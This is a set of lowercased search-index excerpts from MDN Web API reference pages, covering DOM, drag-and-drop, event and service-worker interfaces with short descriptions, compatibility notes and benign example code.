if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmessagechrome full support yesedge full support 12firefox full support 1ie ?
... opera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support 4opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
DOMImplementation.createDocumentType() - Web APIs
the domimplementation.createdocumenttype() method returns a documenttype object which can either be used with domimplementation.createdocument upon document creation or can be put into the document via methods like node.insertbefore() or node.replacechild().
... living standard no change from document object model (dom) level 3 core specification document object model (dom) level 3 core specificationthe definition of 'domimplementation.createdocumenttype' in that specification.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'domimplementation.createdocumenttype' in that specification.
DOMPoint - Web APIs
WebAPIDOMPoint
dompoint is based on dompointreadonly but allows its properties' values to be changed.
... static methods dompoint.frompoint() creates a new mutable dompoint object given an existing point (or a dompointinit dictionary) which provides the values for its properties.
...in the following snippet, the pose of the xr device (such as a vr headset or phone with ar capabilities) can be retrieved by calling using xrframe.getviewerpose() during an xrsession animation frame, then accessing the resulting xrpose's transform property, which contains two dompointreadonly attributes: position as a vector and orientation as a quaternion.
DOMPointReadOnly.fromPoint() - Web APIs
the source point is specified as a dompointinit-compatible object, which includes both dompoint and dompointreadonly.
... syntax const point = dompointreadonly.frompoint(sourcepoint) properties sourcepoint a dompointinit-compliant object, which includes both dompoint and dompointreadonly, from which to take the values of the new point's properties.
... return value a new dompointreadonly object (which is identical to the source point).
DOMRect - Web APIs
WebAPIDOMRect
for example, vreyeparameters.renderrect from the defunct webvr api specified the viewport of a canvas into which visuals for one eye of a head mounted display should be rendered.
...n;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/domrectreadonly" target="_top"><rect x="1" y="1" width="150" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">domrectreadonly</text></a><polyline points="151,25 161,20 161,30 151,25" stroke="#d4dde4" fill="none"/><line x1="161" y1="25" x2="191" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/domrect" target="_top"><rect x="191" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="228.5" y="30" font-size="12px" font-fa...
...mily="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">domrect</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor domrect() creates a new domrect object.
DOMTokenList - Web APIs
such a set is returned by element.classlist, htmllinkelement.rellist, htmlanchorelement.rellist, htmlareaelement.rellist, htmliframeelement.sandbox, or htmloutputelement.htmlfor.
... domtokenlist.foreach(callback [, thisarg]) executes a provided callback function once per domtokenlist element.
... first, the html: <p class="a b c"></p> now the javascript: let para = document.queryselector("p"); let classes = para.classlist; para.classlist.add("d"); para.textcontent = `paragraph classlist is "${classes}"`; the output looks like this: trimming of whitespace and removal of duplicates methods that modify the domtokenlist (such as domtokenlist.add()) automatically trim any excess whitespace and remove duplicate values from the list.
DataTransfer.mozSetDataAt() - Web APIs
a data transfer may store multiple items, each at a given zero-based index.
... mozsetdataat() may only be called with an index argument less than mozitemcount in which case an existing item is modified, or equal to mozitemcount in which case a new item is added, and the mozitemcount is incremented by one.
... the data should be either a string, a boolean or number type (which will be converted into a string) or an nsisupports.
DataTransfer.mozTypesAt() - Web APIs
syntax nsivariant datatransfer.moztypesat(index); arguments index a unsigned long that is the index of the data for which to retrieve the types.
... return value nsivariant a list of data formats (which are strings).
...transfer; var count = dt.mozitemcount; output("items: " + count + "\n"); for (var i = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex); } } } } specifications this method is not defined in any web standard.
DataTransfer.setDragImage() - Web APIs
if element is an img element, then set the drag data store bitmap to the element's image (at its intrinsic size); otherwise, set the drag data store bitmap to an image generated from the given element (the exact mechanism for doing so is not currently specified).
...use the event target's id for the data ev.datatransfer.setdata("text/plain", ev.target.id); // create an image and use it for the drag image // note: change "example.gif" to an existing image or the image will not // be created and the default drag image will be used.
... var img = new image(); img.src = 'example.gif'; ev.datatransfer.setdragimage(img, 10, 10); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); // get the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } </script> <body> <h1>example of <code>datatransfer.setdragimage()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> ...
DataTransferItem.getAsFile() - Web APIs
function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
... drop: html"); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri console.log("...
... drop: uri"); } else if ((data[i].kind == 'file') && (data[i].type.match('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("...
DataTransferItem.type - Web APIs
function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
... drop: html"); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri console.log("...
... drop: uri"); } else if ((data[i].kind == 'file') && (data[i].type.match('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("...
DataTransferItem - Web APIs
during a drag operation, each drag event has a datatransfer property which contains a list of drag data items.
... each item in the list is a datatransferitem object.
... example all of this interface's methods and properties have their own reference page, and each reference page has an example of its usage.
DataTransferItemList.DataTransferItem() - Web APIs
javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("...
DataTransferItemList.add() - Web APIs
> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("...
DataTransferItemList.length - Web APIs
javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("...
DelayNode() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdelaynode() constructorchrome full support 55notes full support 55notes notes before version 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... webview android full support 55notes full support 55notes notes before version 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before version 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ?
DeviceMotionEvent.accelerationIncludingGravity - Web APIs
unlike devicemotionevent.acceleration which compensates for the influence of gravity, its value is the sum of the acceleration of the device as induced by the user and the acceleration caused by gravity.
... this value is not typically as useful as devicemotionevent.acceleration, but may be the only value available on devices that aren't able of removing gravity from the acceleration data, such as on devices that don't have a gyroscope.
...each axis is represented with its own property: x represents the acceleration upon the x axis which is the west to east axis y represents the acceleration upon the y axis which is the south to north axis z represents the acceleration upon the z axis which is the down to up axis specifications specification status comment deviceorientation event specification editor's draft initial definition.
DisplayMediaStreamConstraints.audio - Web APIs
more precise control over the audio data may be exercised by instead providing a mediatrackconstraints object, which is used to process the audio prior to adding it to the stream.
...likely sources are the computer's system audio output and the user's microphone, but there is no way to specify which source to use.
... if a mediatrackconstraints object is given, and an audio source is available, an audio track matching the settings given in the constraints object is included in the mediastream returned by getdisplaymedia().
Document.createElement() - Web APIs
in firefox, opera, and chrome, createelement(null) works like createelement("null").
...v id="div1">the text above has been created dynamically.</div> </body> </html> javascript document.body.onload = addelement; function addelement () { // create a new div element const newdiv = document.createelement("div"); // and give it some content const newcontent = document.createtextnode("hi there and greetings!"); // add the text node to the newly created div newdiv.appendchild(newcontent); // add the newly created element and its content into the dom const currentdiv = document.getelementbyid("div1"); document.body.insertbefore(newdiv, currentdiv); } web component example the following example snippet is taken from our expanding-list-web-component example (see it live also).
... in this case, our custom element extends the htmlulistelement, which represents the <ul> element.
Document.createExpression() - Web APIs
this method compiles an xpathexpression which can then be used for (repeated) evaluations.
... syntax xpathexpr = document.createexpression(xpathtext, namespaceurlmapper); parameters xpathtext is a string which is the xpath expression to be compiled.
... namespaceurlmapper is a function which maps a namespace prefix to a namespace url (or null if none needed).
Document.createTreeWalker() - Web APIs
since attributes are never children of other nodes, they do not appear when traversing over the document tree.
... filter optional a nodefilter, that is an object with a method acceptnode, which is called by the treewalker to determine whether or not to accept a node that has passed the whattoshow check.
... example the following example goes through all nodes in the body, reduces the set of nodes to elements, simply passes through as acceptable each node (it could reduce the set in the acceptnode() method instead), and then makes use of tree walker iterator that is created to advance through the nodes (now all elements) and push them into an array.
Document.enableStyleSheetsForSet() - Web APIs
enables the style sheets matching the specified name in the current style sheet set, and disables all other style sheets (except those without a title, which are always enabled).
...all style sheets with a title that match this name will be enabled, while all others that have a title will be disabled.
... notes title matches are case-sensitive.
Document.fullscreenEnabled - Web APIs
full-screen mode is available only for a page that has no windowed plug-ins in any of its documents, and if all <iframe> elements which contain the document have their allowfullscreen attribute set.
... syntax var isfullscreenavailable = document.fullscreenenabled; value a boolean value which is true if the document and the elements within can be placed into full-screen mode by calling element.requestfullscreen().
... example in this example, before attempting to request full-screen mode for a <video> element, the value of fullscreenenabled is checked, in order to avoid making the attempt when not available.
Document.hasFocus() - Web APIs
WebAPIDocumenthasFocus
example this example checks whether the document has focus every 300 milliseconds.
... to test the functionality of hasfocus(), click on the button to open a new window, and try switching between the two pages.
... html <p id="log">awaiting focus check.</p> <button onclick="openwindow()">open a new window</button> javascript function checkpagefocus() { let body = document.queryselector('body'); let log = document.getelementbyid('log'); if (document.hasfocus()) { log.textcontent = 'this document has the focus.'; body.style.background = '#fff'; } else { log.textcontent = 'this document does not have the focus.'; body.style.background = '#ccc'; } } function openwindow() { window.open('https://developer.mozilla.org/', 'mdn', 'width=640,height=320,left=150,top=150'); } // check page focus every 300 milliseconds setinterval(checkpagefocus, 300); result specification specification status comment html living standardthe definition of 'docum...
Document: keyup event - Web APIs
bubbles yes cancelable yes interface keyboardevent event handler property onkeyup the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered.
... note: if you're looking for a way to react to changes in an input's value, you should use the input event.
... some changes are not detectable by keyup, for example pasting text from the context menu in a text input.
Document: pointercancel event - Web APIs
this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device.
... the device's screen orientation is changed while the pointer is active.
... the touch-action css property prevents the input from continuing.
Document.write() - Web APIs
WebAPIDocumentwrite
note: because document.write() writes to the document stream, calling document.write() on a closed (loaded) document automatically calls document.open(), which will clear the document.
... note: using document.write() in deferred or asynchronous scripts will be ignored and you'll get a message like "a call to document.write() from an asynchronously-loaded external script was ignored" in the error console.
... note: starting with version 55, chrome will not execute <script> elements injected via document.write() when specific conditions are met.
DragEvent - Web APIs
WebAPIDragEvent
the user initiates a drag by placing a pointer device (such as a mouse) on the touch surface and then dragging the pointer to a new location (such as another dom element).
... dragover this event is fired continuously when an element or text selection is being dragged and the mouse pointer is over a valid drop target (every 50 ms when mouse is not moving else much faster between 5 ms (slow movement) and 1ms (fast movement) approximately.
... example an example of each property, constructor, event type and global event handlers is included in their respective reference page.
EXT_disjoint_timer_query.getQueryObjectEXT() - Web APIs
syntax any ext.getqueryobjectext(query, pname); parameters query a webglquery object from which to return information.
... pname a glenum specifying which information to return.
... ext.endqueryext(ext.time_elapsed_ext); // at some point in the future, after returning control to the browser var available = ext.getqueryobjectext(query, ext.query_result_available_ext); var disjoint = gl.getparameter(ext.gpu_disjoint_ext); if (available && !disjoint) { // see how much time the rendering of the object took in nanoseconds.
EXT_sRGB - Web APIs
WebAPIEXT sRGB
the constants in webgl2 are: gl.srgb, gl.srgb8, gl.srgb8_alpha8 and gl.framebuffer_attachment_color_encoding.
... constants this extension exposes the following constants, which can be used in the teximage2d(), texsubimage2d(), renderbufferstorage() and getframebufferattachmentparameter() methods.
... ext.framebuffer_attachment_color_encoding_ext returns the framebuffer color encoding (gl.linear or ext.srgb_ext).
EcdhKeyDeriveParams - Web APIs
ecdh enables two people who each have a key pair consisting of a public and a private key to derive a shared secret.
... they exchange public keys and use the combination of their private key and the other entity's public key to derive a secret key that they — and noone else — share.
... the parameters for ecdh derivekey() therefore include the other entity's public key, which is combined with this entity's private key to derive the shared secret.
EffectTiming.direction - Web APIs
the direction property of the web animations api dictionary effecttiming indicates an animation's playback direction along its timeline, as well as its behavior when it reaches the end of an iteration element.animate(), keyframeeffectreadonly(), and keyframeeffect() all accept an object of timing properties including direction.
... syntax var timingproperties = { direction: "normal" | "reverse" | "alternate" | "alternate-reverse" }; timingproperties.direction = "normal" | "reverse" | "alternate" | "alternate-reverse"; value a domstring which specifies the direction in which the animation should play as well as what to do when the playback reaches the end of the animation sequence in the current direction.
... "reverse" the animation runs backwards, or "rewinds." "alternate" the animation switches direction after each iteration, going forward through the animation sequence the first iteration, then backward through the sequence the second iteration, and so forth.
Element: DOMActivate event - Web APIs
the domactivate event is fired at an element when it becomes active, such as when it is clicked on using the mouse or a keypress is used to navigate to it.
... bubbles yes cancelable yes interface mouseevent examples <svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseprofile="tiny" xmlns:ev="http://www.w3.org/2001/xml-events" width="6cm" height="5cm" viewbox="0 0 600 500"> <desc>example: invoke an ecmascript function from a domactivate event</desc> <!-- ecmascript to change the radius --> <script type="application/ecmascript"><![cdata[ function change(evt) { var circle = evt.target; var currentradius = circle.getfloattrait("r"); if (currentradius == 100) circle.setfloattrait("r", currentradius * 2); else circle.setfloattrait("r", currentradius * 0.5); } ]]></script> <!-- act on each domactivate event --> <circle cx="300" cy=...
..."225" r="100" fill="red"> <handler type="application/ecmascript" ev:event="domactivate"> change(evt); </handler> </circle> <text x="300" y="480" font-family="verdana" font-size="35" text-anchor="middle"> activate the circle to change its size </text> </svg> specifications specification status ui eventsthe definition of 'domactivate' in that specification.
Element.attributes - Web APIs
the following example runs through the attribute nodes for the element in the document with id "paragraph", and prints each attribute's value.
... obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'element.attributes' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'element.attributes' in that specification.
Element: click event - Web APIs
an element receives a click event when a pointing device button (such as a mouse's primary mouse button) is both pressed and released while the pointer is located inside the element.
...<div>) and which also don't have event listeners directly attached to the elements themselves (i.e.
... safari mobile considers the following elements to be typically interactive (and thus they aren't affected by this bug): <a> (but it must have an href) <area> (but it must have an href) <button> <img> <input> <label> (but it must be associated with a form control) <textarea> this list is incomplete; you can help mdn by doing further testing/research and expanding it.
Element: compositionend event - Web APIs
the compositionend event is fired when a text composition system such as an input method editor completes or cancels the current composition session.
... for example, this event could be fired after a user finishes entering a chinese character using a pinyin ime.
... bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionend', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: gri...
Element: compositionstart event - Web APIs
the compositionstart event is fired when a text composition system such as an input method editor starts a new composition session.
... for example, this event could be fired after a user starts entering a chinese character using a pinyin ime.
... bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionstart', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: g...
Element: compositionupdate event - Web APIs
the compositionupdate event is fired when a new character is received in the context of a text composition session controlled by a text composition system such as an input method editor.
... for example, this event could be fired while a user enters a chinese character using a pinyin ime.
... bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionupdate', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log">clear</button> </div> css body { padding: .2rem; display: ...
Element.computedStyleMap() - Web APIs
the computedstylemap() method of the element interface returns a stylepropertymapreadonly interface which provides a read-only representation of a css declaration block that is an alternative to cssstyledeclaration.
... examples we start with some simple html: a paragraph with a link, and a definition list to which we will add all the css property / value pairs.
... // get the element const myelement = document.queryselector('a'); // get the <dl> we'll be populating const styleslist = document.queryselector('#regurgitation'); // retrieve all computed styles with computedstylemap() const allcomputedstyles = myelement.computedstylemap(); // iterate thru the map of all the properties and values, adding a <dt> and <dd> for each for (const [prop, val] of allcomputedstyles) { // properties const cssproperty = document.createelement('dt'); cssproperty.appendchild(document.createtextnode(prop)); styleslist.appendchild(cssproperty); // values const cssvalue = document.createelement('dd'); cssvalue.appendchild(document.createtextnode(val)); styleslist.appendchild(cssvalue); } in browsers that support computedstylema...
Element.createShadowRoot() - Web APIs
when shadow dom is created, it is always attached to an existing element.
... after the shadow dom is created, the element that it is attached to is called the shadow root.
... this method has been deprecated in favor of attachshadow().
Element.currentStyle - Web APIs
element.currentstyle is a proprietary property which is similar to the standardized window.getcomputedstyle() method.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcurrentstyle non-standardchrome no support noedge no support nofirefox no support noie full support 6opera no support nosafari no support nowebview android no support nochrome android no support nofirefox android no support noopera android...
Element.hasPointerCapture() - Web APIs
the haspointercapture() method of the element interface sets whether the element on which it is invoked has pointer capture for the pointer identified by the given pointer id.
...*/ // check whether element still has pointer capture let pointercap = el.haspointercapture(ev.pointerid); if(pointercap) { // we've still got pointer capture } else { // oops, we've lost pointer capture!
... } } function init() { const el = document.getelementbyid("target"); el.onpointerdown = downhandler; } </script> <body onload="init();"> <div id="target">touch this element with a pointer.</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'haspointercapture()' in that specification.
Element.insertAdjacentElement() - Web APIs
syntax targetelement.insertadjacentelement(position, element); parameters position a domstring representing the position relative to the targetelement; must match (case-insensitively) one of the following strings: 'beforebegin': before the targetelement itself.
... 'afterbegin': just inside the targetelement, before its first child.
... 'beforeend': just inside the targetelement, after its last child.
Element.insertAdjacentHTML() - Web APIs
this avoids the extra step of serialization, making it much faster than direct innerhtml manipulation.
... 'afterbegin': just inside the element, before its first child.
... 'beforeend': just inside the element, after its last child.
Element: mouseout event - Web APIs
the mouseout event is fired at an element when a pointing device (usually a mouse) is used to move the cursor so that it is no longer contained within the element or one of its children.
... mouseout is also delivered to an element if the cursor enters a child element, because the child element obscures the visible area of the element.
... when you try this out, you'll find that mouseout is delivered to the individual list items, while mouseleave goes to the overall list, courtesy of the hierarchy of the items and the fact that list items obscure the underlying <ul>.
Element.onfullscreenerror - Web APIs
the element interface's onfullscreenerror property is an event handler for the fullscreenerror event which is sent to the element when an error occurs while attempting to transition into or out of full-screen mode.
... example this example attempts to switch into full-screen mode from outside a handler for a user-initiated event (such as a click or keypress event).
... since full-screen mode changes are only permitted in response to a user input, this causes an error to occur, which triggers the delivery of the fullscreenerror event to the error handler, let elem = document.queryselector("video")}} elem.onfullscreenerror = function ( event ) { displaywarning("unable to switch into full-screen mode."); }; //....
Element.scroll() - Web APIs
WebAPIElementscroll
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollchrome full support 45edge full support 79firefox full support 36ie no support noopera full support 32safari full support 10webview android full support 45chrome android full support 45firefox android full support 36opera android ...
... full support 32safari ios no support nosamsung internet android full support 5.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full support 32safari no support nowebview android full support 45chrome android full support 45firefox android ...
Element.scrollTo() - Web APIs
WebAPIElementscrollTo
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrolltochrome full support 45edge full support 79firefox full support 36ie no support noopera full support 32safari full support 10webview android full support 45chrome android full support 45firefox android full support 36opera android ...
... full support 32safari ios no support nosamsung internet android full support 5.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full support 32safari no support nowebview android full support 45chrome android full support 45firefox android ...
Element.scrollWidth - Web APIs
it can also include the width of pseudo-elements such as ::before or ::after.
...tle> <style> div { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } #adiv { width: 100px; } button { margin-bottom: 2em; } </style> </head> <body> <div id="adiv"> foobar-foobar-foobar-foobar </div> <button id="abutton"> check for overflow </button> <div id="anotherdiv"> foobar-foobar-foobar-foobar </div> <button id="anotherbutton"> check for overflow </button> </body> <script> var buttonone = document.getelementbyid('abutton'), buttontwo = document.getelementbyid('anotherbutton'), divone = document.getelementbyid('adiv'), divtwo = document.getelementbyid('ano...
...therdiv'); //check to determine if an overflow is happening function isoverflowing(element) { return (element.scrollwidth > element.offsetwidth); } function alertoverflow(element) { if (isoverflowing(element)) { alert('contents are overflowing the container.'); } else { alert('no overflows!'); } } buttonone.addeventlistener('click', function() { alertoverflow(divone); }); buttontwo.addeventlistener('click', function() { alertoverflow(divtwo); }); </script> </html> result specification specification status comment css object model (cssom) view modulethe definition of 'element.scrollwidth' in that specification.
Element.tagName - Web APIs
WebAPIElementtagName
the tagname read-only property of the element interface returns the tag name of the element on which it's called.
...this string's capitalization depends on the document type: for dom trees which represent html documents, the returned tag name is always in the canonical upper-case form.
... the tag names of elements in an xml dom tree are returned in the same case in which they're written in the original xml file.
Element: webkitmouseforcewillbegin event - Web APIs
this offers the opportunity to tell the system not to trigger any default force touch actions if and when the click turns into a force touch event.
... to instruct macos not to engage any default force touch actions if the user apply enough pressure to activate a force touch event, call preventdefault() on the webkitmouseforcewillbegin event object.
...it is part of the force touch events feature.
ElementTraversal - Web APIs
it has been split into two interfaces, containing the useful methods and properties for each kind of nodes: childnode parentnode as it was a pure interface, with no object of this type, this change has no effect on the web.
... specifications specification status comment domthe definition of 'childnode' in that specification.
... living standard splitted the elementtraversal interface in parentnode and childnode element traversal specificationthe definition of 'elementtraversal' in that specification.
Event.bubbles - Web APIs
WebAPIEventbubbles
syntax var doesitbubble = event.bubbles; value a boolean, which is true if the event bubbles up through the dom.
... example function handleinput(e) { // checks whether the event bubbles and ...
...you can use this property to check if an event is allowed to bubble or not.
Event.currentTarget - Web APIs
it always refers to the element to which the event handler has been attached, as opposed to event.target, which identifies the element on which the event occurred and which may be its descendant.
... syntax var currenteventtarget = event.currenttarget; value eventtarget examples event.currenttarget is interesting to use when attaching the same event handler to several elements.
...instead, you can either directly console.log(event.currenttarget) to be able to view it in the console or use the debugger statement, which will pause the execution of your code thus showing you the value of event.currenttarget.
Event.msConvertURL() - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the msconverturl method instructs the html paste operation on how to modify the src attribute that corresponds to each file in the clipboarddata.files collection, allowing otherwise inaccessible files to be converted to blob or data uris.
... targettype [in] type: domstring one of the following values indicating the desired conversion type: "specified", "base64", or "unchanged".
Event.timeStamp - Web APIs
WebAPIEventtimeStamp
the timestamp read-only property of the event interface returns the time (in milliseconds) at which the event was created.
...</p> <p>timestamp: <span id="time">-</span></p> javascript function gettime(event) { var time = document.getelementbyid("time"); time.firstchild.nodevalue = event.timestamp; } document.body.addeventlistener("keypress", gettime); result reduced time precision to offer protection against timing attacks and fingerprinting, the precision of event.timestamp might get rounded depending on browser settings.
... in firefox, if you also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
ExtendableMessageEvent.ports - Web APIs
the ports read-only property of the extendablemessageevent interface returns the array containing the messageport objects representing the ports of the associated message channel (the channel the message is being sent through.) syntax var myports = extendablemessageevent.ports; value an array of messageport objects.
... examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.ports' in that specification.
ExtendableMessageEvent.source - Web APIs
the source read-only property of the extendablemessageevent interface returns a reference to the client object from which the message was sent.
... examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.source); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.source' in that specification.
File - Web APIs
WebAPIFile
